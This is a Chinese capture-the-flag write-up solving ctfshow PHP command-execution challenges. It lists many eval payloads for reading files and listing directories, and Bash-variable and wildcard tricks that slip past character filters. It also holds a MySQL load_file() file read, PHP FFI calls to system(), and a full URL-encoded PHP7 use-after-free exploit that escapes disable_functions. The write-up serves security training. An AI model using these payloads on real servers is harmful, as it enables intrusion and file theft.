c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
读取payload:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22//通过单一函数读取文件
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));
//这里做一个解释`file — 把整个文件读入一个数组中`
通过fopen去读取文件内容,这里介绍下函数
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
payload:
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
//通过高亮显示php文件
show_source("flag.php");
highlight_file("flag.php");
Web59-65(这几道题目就一下禁用函数不同)
1 |
|
同上
或者配合伪协议进行文件包含, eval 在这里比较灵活, 方法很多
Y4tacker师傅的payload
Y4师傅依旧稳定发挥,这解法太妙了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24//paylaod汇总
c=highlight_file("flag.php");
c=var_dump(file("flag.php"));
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);
//web60payload汇总
c=highlight_file("flag.php");
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
//复制,重命名读取php文件内容
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");
#读取路径
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}
#读取路径
c=print_r(scandir(current(localeconv())));
#读文件
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));
同时记录一个,但是这道题不能用
1 | $a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} |
Web66
1 |
|
payload:1
2
3
4
5
6
7
8#show_source()终于无了
c=var_dump(scandir("/"));
c=print_r(scandir('/')); # 列出 / 目录下的所有文件、
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');
其实只要题目源码能看得到,highlight_file()
就一直能用…
Web67
1 |
|
print_r()
被过滤了, 换成var_dump()
或者var_export()
scandir()
返回的是数组, 其实就算被过滤了也可以加下标echo
输出或者写个循环
payload:1
2
3
4
5
6c=var_dump(scandir("/"));
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');
Web68
1 | Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19 |
啊?开局就啥也没有,按照上一题的经验继续post:c
尝试include('index.php');
发现字节太大了,直接盲猜c=include('/flag.txt')
出了
scandir()
没有被过滤, 严谨一点列目录再读取也可以
一些payloads:1
2
3c=include('/flag.txt');
c=require('/flag.txt');
c=readgzfile('/flag.txt');
这里不知道为什么readfile不行,但是readgzfile可以
php原生类读文件
还有一种方法是采用php原生类。SplFileObject()
这里的话我们var_dump
读不出来,我们可以采用SplFileObject()类中的一个方法
->fpassthru()
: 这是SplFileObject类的一个方法,fpassthru()用于将文件的内容直接输出到浏览器。这通常用于发送文件给用户下载,或者在某些情况下,直接在浏览器中显示文件内容
那我们就直接用这个方法就行1
c=var_dump((new SplFileObject("/flag.txt"))->fpassthru());
Web69
1 | Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19 |
payload:1
2
3
4
5
6
7
8
9
10//看根目录
c=echo json_encode(scandir('/'));
c=echo implode(' ',scandir('/'));
c= var_export(scandir('/'));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
//读文件
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
Web70
1 | Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 |
进来看到三条报错有点逆天,不过并不影响做题,和上一题一样的payload
Web71
可以下载源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
你要上天吗?
感觉漏了个ob_start()
就是说将脚本输出的内容发送到缓冲区, 然后通过ob_get_contents()
获取缓冲区内容,ob_end_clean()
清除并关闭缓冲区, 最后通过preg_replace()
过滤输出
简单来说就是我们eval
返回的输出内容被过滤了, 大小写字母和数字会被替换成?
测试了一下发现如果语句执行错误, 会显示原来的内容,当语句执行成功后才被过滤
也就是说过滤的操作是在我们当前的命令执行完以后再进行的
我们可以通过die()
,exit()
让程序终止, 不再继续往下执行
payload:1
c=include('/flag.txt');exit();
看别的师傅的wp,可以在劫持输出缓冲区之前就把缓冲区送出。
同样也是两个函数:1
2
3
4ob_flush();
#c=include('/flag.txt');ob_flush();
ob_end_flush();
#c=include('/flag.txt');ob_end_flush();
小脚本
1 | import requests |
Web72
1 |
|
/flag.txt
提示不存在
列目录发现被限制了
考察的是open_basedir
和disable_function
的绕过
https://www.v0n.top/2020/07/10/open_basedir绕过/
https://www.anquanke.com/post/id/208451
使用scandir() + glob://
列目录, 不过glob://
协议还是有限制, 子目录就不能列了
flag在/flag0.txt
内, 但是受限于open_basedir
和disable_functions
, 常规的文件读取和文件包含都不起作用
利用uaf的脚本进行命令利用uaf的脚本进行命令执行执行https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
1 | c= |
url编码后,传入payload(通过bp上传):1
c=%3f%3e%3c%3fphp%0apwn(%22ls+%2f%3bcat+%2fflag0.txt%22)%3b%0a%0afunction+pwn(%24cmd)+%7b%0a++++global+%24abc%2c+%24helper%2c+%24backtrace%3b%0a++++class+Vuln+%7b%0a++++++++public+%24a%3b%0a++++++++public+function+__destruct()+%7b+%0a++++++++++++global+%24backtrace%3b+%0a++++++++++++unset(%24this-%3ea)%3b%0a++++++++++++%24backtrace+%3d+(new+Exception)-%3egetTrace()%3b+%23+%3b)%0a++++++++++++if(!isset(%24backtrace%5b1%5d%5b%27args%27%5d))+%7b+%23+PHP+%3e%3d+7.4%0a++++++++++++++++%24backtrace+%3d+debug_backtrace()%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++class+Helper+%7b%0a++++++++public+%24a%2c+%24b%2c+%24c%2c+%24d%3b%0a++++%7d%0a%0a++++function+str2ptr(%26%24str%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++%24address+%3d+0%3b%0a++++++++for(%24j+%3d+%24s-1%3b+%24j+%3e%3d+0%3b+%24j--)+%7b%0a++++++++++++%24address+%3c%3c%3d+8%3b%0a++++++++++++%24address+%7c%3d+ord(%24str%5b%24p%2b%24j%5d)%3b%0a++++++++%7d%0a++++++++return+%24address%3b%0a++++%7d%0a%0a++++function+ptr2str(%24ptr%2c+%24m+%3d+8)+%7b%0a++++++++%24out+%3d+%22%22%3b%0a++++++++for+(%24i%3d0%3b+%24i+%3c+%24m%3b+%24i%2b%2b)+%7b%0a++++++++++++%24out+.%3d+sprintf(%27%25c%27%2c%24ptr+%26+0xff)%3b%0a++++++++++++%24ptr+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++++++return+%24out%3b%0a++++%7d%0a%0a++++function+write(%26%24str%2c+%24p%2c+%24v%2c+%24n+%3d+8)+%7b%0a++++++++%24i+%3d+0%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24n%3b+%24i%2b%2b)+%7b%0a++++++++++++%24str%5b%24p+%2b+%24i%5d+%3d+sprintf(%27%25c%27%2c%24v+%26+0xff)%3b%0a++++++++++++%24v+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++function+leak(%24addr%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++global+%24abc%2c+%24helper%3b%0a++++++++write(%24abc%2c+0x68%2c+%24addr+%2b+%24p+-+0x10)%3b%0a++++++++%24leak+%3d+strlen(%24helper-%3ea)%3b%0a++++++++if(%24s+!%3d+8)+%7b+%24leak+%25%3d+2+%3c%3c+(%24s+*+8)+-+1%3b+%7d%0a++++++++return+%24leak%3b%0a++++%7d%0a%0a++++function+parse_elf(%24base)+%7b%0a++++++++%24e_type+%3d+leak(%24base%2c+0x10%2c+2)%3b%0a%0a++++++++%24e_phoff+%3d+leak(%24base%2c+0x20)%3b%0a++++++++%24e_phentsize+%3d+leak(%24base%2c+0x36%2c+2)%3b%0a++++++++%24e_phnum+%3d+leak(%24base%2c+0x38%2c+2)%3b%0a%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24e_phnum%3b+%24i%2b%2b)+%7b%0a++++++++++++%24header+%3d+%24base+%2b+%24e_phoff+%2b+%24i+*+%24e_phentsize%3b%0a++++++++++++%24p_type++%3d+leak(%24header%2c+0%2c+4)%3b%0a++++++++++++%24p_flags+%3d+leak(%24header%2c+4%2c+4)%3b%0a++++++++++++%24p_vaddr+%3d+leak(%24header%2c+0x10)%3b%0a++++++++++++%24p_memsz+%3d+leak(%24header%2c+0x28)%3b%0a%0a++++++++++++if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+6)+%7b+%23+PT_LOAD%2c+PF_Read_Write%0a++++++++++++++++%23+handle+pie%0a++++++++++++++++%24data_addr+%3d+%24e_type+%3d%3d+2+%3f+%24p_vaddr+%3a+%24base+%2b+%24p_vaddr%3b%0a++++++++++++++++%24data_size+%3d+%24p_memsz%3b%0a++++++++++++%7d+else+if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+5)+%7b+%23+PT_LOAD%2c+PF_Read_exec%0a++++++++++++++++%24text_size+%3d+%24p_memsz%3b%0a++++++++++++%7d%0a++++++++%7d%0a%0a++++++++if(!%24data_addr+%7c%7c+!%24text_size+%7c%7c+!%24data_size)%0a++++++++++++return+false%3b%0a%0a++++++++return+%5b%24data_addr%2c+%24text_size%2c+%24data_size%5d%3b%0a++++%7d%0a%0a++++function+get_basic_funcs(%24base%2c+%24elf)+%7b%0a++++++++list(%24data_addr%2c+%24text_size%2c+%24data_size)+%3d+%24elf%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24data_size+%2f+8%3b+%24i%2b%2b)+%7b%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+%24i+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27constant%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x746e6174736e6f63)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+(%24i+%2b+4)+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27bin2hex%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x786568326e6962)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++return+%24data_addr+%2b+%24i+*+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++function+get_binary_base(%24binary_leak)+%7b%0a++++++++%24base+%3d+0%3b%0a++++++++%24start+%3d+%24binary_leak+%26+0xfffffffffffff000%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+0x1000%3b+%24i%2b%2b)+%7b%0a++++++++++++%24addr+%3d+%24start+-+0x1000+*+%24i%3b%0a++++++++++++%24leak+%3d+leak(%24addr%2c+0%2c+7)%3b%0a++++++++++++if(%24leak+%3d%3d+0x10102464c457f)+%7b+%23+ELF+header%0a++++++++++++++++return+%24addr%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++function+get_system(%24basic_funcs)+%7b%0a++++++++%24addr+%3d+%24basic_funcs%3b%0a++++++++do+%7b%0a++++++++++++%24f_entry+%3d+leak(%24addr)%3b%0a++++++++++++%24f_name+%3d+leak(%24f_entry%2c+0%2c+6)%3b%0a%0a++++++++++++if(%24f_name+%3d%3d+0x6d6574737973)+%7b+%23+system%0a++++++++++++++++return+leak(%24addr+%2b+8)%3b%0a++++++++++++%7d%0a++++++++++++%24addr+%2b%3d+0x20%3b%0a++++++++%7d+while(%24f_entry+!%3d+0)%3b%0a++++++++return+false%3b%0a++++%7d%0a%0a++++function+trigger_uaf(%24arg)+%7b%0a++++++++%23+str_shuffle+prevents+opcache+string+interning%0a++++++++%24arg+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a++++++++%24vuln+%3d+new+Vuln()%3b%0a++++++++%24vuln-%3ea+%3d+%24arg%3b%0a++++%7d%0a%0a++++if(stristr(PHP_OS%2c+%27WIN%27))+%7b%0a++++++++die(%27This+PoC+is+for+*nix+systems+only.%27)%3b%0a++++%7d%0a%0a++++%24n_alloc+%3d+10%3b+%23+increase+this+value+if+UAF+fails%0a++++%24contiguous+%3d+%5b%5d%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+%24n_alloc%3b+%24i%2b%2b)%0a++++++++%24contiguous%5b%5d+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a%0a++++trigger_uaf(%27x%27)%3b%0a++++%24abc+%3d+%24backtrace%5b1%5d%5b%27args%27%5d%5b0%5d%3b%0a%0a++++%24helper+%3d+new+Helper%3b%0a++++%24helper-%3eb+%3d+function+(%24x)+%7b+%7d%3b%0a%0a++++if(strlen(%24abc)+%3d%3d+79+%7c%7c+strlen(%24abc)+%3d%3d+0)+%7b%0a++++++++die(%22UAF+failed%22)%3b%0a++++%7d%0a%0a++++%23+leaks%0a++++%24closure_handlers+%3d+str2ptr(%24abc%2c+0)%3b%0a++++%24php_heap+%3d+str2ptr(%24abc%2c+0x58)%3b%0a++++%24abc_addr+%3d+%24php_heap+-+0xc8%3b%0a%0a++++%23+fake+value%0a++++write(%24abc%2c+0x60%2c+2)%3b%0a++++write(%24abc%2c+0x70%2c+6)%3b%0a%0a++++%23+fake+reference%0a++++write(%24abc%2c+0x10%2c+%24abc_addr+%2b+0x60)%3b%0a++++write(%24abc%2c+0x18%2c+0xa)%3b%0a%0a++++%24closure_obj+%3d+str2ptr(%24abc%2c+0x20)%3b%0a%0a++++%24binary_leak+%3d+leak(%24closure_handlers%2c+8)%3b%0a++++if(!(%24base+%3d+get_binary_base(%24binary_leak)))+%7b%0a++++++++die(%22Couldn%27t+determine+binary+base+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24elf+%3d+parse_elf(%24base)))+%7b%0a++++++++die(%22Couldn%27t+parse+ELF+header%22)%3b%0a++++%7d%0a%0a++++if(!(%24basic_funcs+%3d+get_basic_funcs(%24base%2c+%24elf)))+%7b%0a++++++++die(%22Couldn%27t+get+basic_functions+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24zif_system+%3d+get_system(%24basic_funcs)))+%7b%0a++++++++die(%22Couldn%27t+get+zif_system+address%22)%3b%0a++++%7d%0a%0a++++%23+fake+closure+object%0a++++%24fake_obj_offset+%3d+0xd0%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+0x110%3b+%24i+%2b%3d+8)+%7b%0a++++++++write(%24abc%2c+%24fake_obj_offset+%2b+%24i%2c+leak(%24closure_obj%2c+%24i))%3b%0a++++%7d%0a%0a++++%23+pwn%0a++++write(%24abc%2c+0x20%2c+%24abc_addr+%2b+%24fake_obj_offset)%3b%0a++++write(%24abc%2c+0xd0+%2b+0x38%2c+1%2c+4)%3b+%23+internal+func+type%0a++++write(%24abc%2c+0xd0+%2b+0x68%2c+%24zif_system)%3b+%23+internal+func+handler%0a%0a++++(%24helper-%3eb)(%24cmd)%3b%0a++++exit()%3b%0a%7d
备注
Web73
1 | Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 |
查看文件名,bp POST方式提交1
2
3
4
5
6
7
8
9
10
11
12
13c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
//方法二,目录扫描
c=var_export(scandir('/'));exit();
//方法三,echo 输出指定数组索引的文件
c=echo(scandir("/")[6]);exit();
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);
发现flag在flagc.txt
看文件,这道题可以直接include1
2
3c=include('/flagc.txt');exit(0);
c=require("/flagc.txt");exit(0);
c=require_once("/flagc.txt");exit(0);
Web74
1 |
|
scandir()
被ban了
换成DirectoryIterator
1 | #查看路径 |
Web75(mysql弱口令+load_file()读文件)
1 | Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 |
列目录1
c=$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}die();
下面的payloads都是建立在知道数据库名字的基础上才可以用的
我们可以通过通用的数据库来获取到数据库的名称1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16c=
$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
echo($row[0])."|";
}exit();
或者
c=
$dbh = new PDO('mysql:host=127.0.0.1;dbname=mysql','root','root');
foreach ($dbh->query('show databases;') as $row){
var_export($row);
}
die();
读文件1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30c=
$dbh = new PDO('mysql:host=127.0.0.1;dbname=mysql','root','root');
foreach ($dbh->query('select load_file("/flag36.txt");') as $row){
var_export($row);
}
die();
#成功读取
#方法二
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
#有个一团的版本
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
#火狐的hackbar会报错,但是谷歌的不会
数据库的连接是读配置文件得到的
SQL语句来读文件绕过open_basedir和disable_function
Web76
文件名改成了//flag36d.txt
Web77(php7.4 FFI)
照常报错三件套
提示是php 7.4
想到FFI
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术
扫根目录看到readflag(readflag 下载下来发现是个 ELF 文件),肯定要用这个读flag了
payloads:1
2
3
4
5c=$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit();
c=$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
Web118(内置变量绕过数字,小写字母)
flag in flag.php
看源码,显示<!-- system($code);-->
fuzz一下发现可以用大写字母A-Z
和${}~.?:
1 | root@baba:~# echo ${PWD} |
我们的payload一般是cat/nl
等命令+flag.php
,flag.php我们可以用通配符代替????.???
。cat/nl等命令我们可以用Bash内置变量
环境变量PATH一般是/bin
,题目路径PWD是/var/www/html
,我们可以利用切片来获得所需要的字母
1 | echo ${PWD} |
但是题目过滤了数字,无法使用切片。换一种方式获取字符。
linux可以利用~
获得变量的最后几位(从最后开始获取),使用取反号时,任何字母等同于数字0
1 | chimedal@localhost:/mnt/d/desktop$ echo ${PWD} |
利用各个环境变量的最后一位来构造命令。${PWD}
在这题肯定是/var/www/html
,而${PATH}
通常是bin,那么${PWD:~A}
的结果就应该是’l’,因为${PATH:~A}
的结果是’n’,那么他们拼接在一起正好是nl,能够读取flag,因为通配符没有被过滤,所以可以用通配符代替flag.php
所以,${PATH:~A}${PWD:~A}
表示的就是PATH
的最后一个字母和PWD
的最后一个字母,组合起来就是nl
SHLVL
是记录多个Bash
进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1
,然后在此shell中再打开一个shell时${SHLVL}=2
是0,${SHLVL}
为1
`$来替代数字,截取想要的字符串
payload:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18#一
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
#二
${PATH:~A}${PWD:~A} ????.???
#三
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???
#四
${PATH:~A}${PWD:~A:${##}} ????.???
# 五
${PATH:~A}${PWD:~A}$IFS????.???
#${RANDOM}是随机数,${#RANDOM}一般是5,也可能是4
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${
PATH:${#RANDOM}:${#SHLVL}}??.???
Web119(无PATH)
比上题多过滤了PATH
扩展一下Bash内置变量构造字符:1
2
3
4
5
6
7
8${RANDOM} :随机的几个数
${PWD} :/var/www/html
${USER} :www-data
${HOME} :当前用户的主目录IFS
空格符、tab字符、换行字符(newline) 长度为3。{\#IFS}=3
方法一
可以构造出/bin/base64 flag.php
,只需要/
和4
两个字符就行,其他的可以用通配符
代替
/很简单,pwd的第一位就是,因为这题ban了数字,所以可以用该题值必是1的${\#SHLVL}
绕过
SHLVL
是记录多个Bash
进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1
,然后在此shell中再打开一个shell时$SHLVL=2
。
只需要${PWD::${SHLVL}}
,结果就是/
RANDOM
此变量值,随机出现整数,范围为0-32767
。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样
4的问题,可以用${\#RANDOM}
,在Linux中,${\#xxx}
显示的是这个值的位数不加#
是变量的值,加了#
是变量的值的长度,例如12345的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此可以代替4
payload:1
2
3${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
就是/???/?????4 ????.???
就是/bin/base64 flag.php
方法二
可以构造/bin/cat flag.php
,需要t和/,${HOME}
默认是/root
,所以需要得到他的最后一个字母,容器的hostname应该是5个字母,所以${\#HOSTNAME}
可以从第5位开始,1还是用${\#SHLVL}
代替
1 | ${HOME:${#HOSTNAME}:${#SHLVL}} ====> t |
Web120
1 |
|
payloads:1
2
3
4#上一题的payload
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
就是/???/?a? ????.???
就是/bin/cat flag.php
Web121
1 |
|
$#
$?
这两个的值都为0
加上#
代表长度就为11
2这题最关键的SHLVL被过滤了,可以用${##}或${#?}代替
过滤${#SHLVL}可以用${##}、${#?}
payloads:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24code=${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
#hint中的payload
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
#使用的是/bin/rev读文件 把文件中每行逆序输出读取
#用到了IFS(定义字段分隔字符。默认值为:空格符、tab字符、换行字符(newline) 长度为3)
PWD为 /var/www/html
刚好第三个是r
可以匹配到/bin/rev
#其他wp
${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.???
就是/???/??v ????.???
就是/bin/rev flag.php
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
就是/???/?????4 ????.???
就是/bin/base64 flag.php
构造/???/??v:
code=${PWD::${#?}}???${PWD::${#?}}??${PWD:${#?}:${#?}} ????.???
构造/???/r??:
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
反转小脚本1
2
3
4
5
6str1="}96f463e39fb9-a71a-daa4-ebce-dbfd8617{wohsftc"
str2=list(str1)
str2.reverse()
flag="".join(str2)
print(flag)
#ctfshow{7168dfbd-ecbe-4aad-a17a-9bf93e364f69}
Web122
1 |
|
这题在上题的基础上又过滤了#
和PWD,PWD的绕过很简单,用HOME就可以,而#
,就要用到$?
了$? 执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
所以在使用$?
之前要先给错误的命令 让$?
的值为1${}
和<A
可以但是题目上${}
这个不可以
所以用<A
后边的数字4还是用RANDOM随机数来获取
payload:1
2
3
4
5
6code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
#通过$?来实现的,$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误
#可能存在成功的机会,不断刷新
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
code=<A;${HOME:${Z}:$?}???${HOME:${Z}:$?}?????${RANDOM::$?} ????.???
Web124
1 |
|
这道题给我们留了很多的数学函数,我们发现其中基本全是php中可用使用的函数。而且很多是可用进行进制转换的。
我们来看下具体的函数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20base_convert(number,frombase,tobase);
参数 描述
number 必需。规定要转换的数。
frombase 必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase 必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
bindec — 二进制转换为十进制
bindec ( string $binary_string ) : number
decbin — 十进制转换为二进制
decbin ( int $number ) : string
dechex — 十进制转换为十六进制
dechex ( int $number ) : string
decoct — 十进制转换为八进制
decoct ( int $number ) : string
hexdec — 十六进制转换为十进制
hexdec ( int $number ) : string
在这个题中,我们不能使用除题目白名单中给出的函数以外的任何字符。那我们的目的就是构造出字母或者构造出函数。
假设我们要构造出如下表达式c=$_GET[a]($_GET[b])&a=system&b=cat flag
我们需要构造的是其实只有_GET
,$
我们可用使用,中括号可用花括号代替,小括号也是可以使用的。这时候我们想到了一个办法,如果可以构造出hex2bin
函数就可以将16进制转换成字符串了。我们又可以用decoct
将10进制转换成16进制。也就是可以将10进制转换成字符串。
那么问题来了,hex2bin怎么构造呢,这时候就需要用到base_convert
了。
我们发现36进制中包含了所有的数字和字母,所有只需要将hex2bin
按照36进制转换成10进制就可以了
1 | echo base_convert('hex2bin', 36, 10); |
我们再把_GET进行替换
payload:1
2
3
4
5
6
7
8
9
10
11
12
13
14c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f*
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat flag.php
?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20flag.php
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
//要在请求头里面加一个 1:tac flag.php 见下图
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=cat flag.php
一些无参RCE函数的集合
1 | localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.) |
一些php打印函数
1 | print_r() |
参考链接
CTFSHOW-命令执行 - Boogiepop Doesn’t Laugh
Mash1r0师傅的博客
ctfshow-web入门-命令执行(web71-web74)_we
命令执行篇
Y4tacker师傅的wp
X1r0z Blog
ctfshow学习记录-web入门(命令执行119-122&124)
Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全